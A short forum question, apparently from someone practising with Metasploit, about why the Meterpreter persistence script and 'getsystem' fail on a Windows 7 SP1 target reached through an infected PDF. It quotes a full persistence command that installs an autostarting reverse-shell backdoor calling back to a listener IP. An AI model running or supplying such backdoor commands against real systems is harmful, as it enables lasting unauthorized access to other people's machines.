Meterpreter Persistence Not Working

I have successfully obtained a meterpreter by using an infected pdf file.I then tried the tutorial on creating a persistent backdoor however when I issue the following command "run persistence -A -L c:\\ -X -i 30 -p 443 -r 192.168.1.124" is returns the following error:

"Error in script: Rex::Post::Meterpreter::RequestError corechannelopen: 0peration failed: Access is denied."

The error says "Access denied" so I thought I might not have the permissions required,I then tried the "getsystem" command however it throws another error "privelevategetsystem: Operation failed: The environment is incorrect." I suspected that the antivirus is causing the errors,so I then disabled the antivirus however the error persists.

Some screenshots for clarity:

The target system is running Windows 7 SP1. Could it be that Windows 7 has been patched and therefore both the persistence and getsystem scripts don't work anymore?

Any response is appreciated guys,thanks in advance.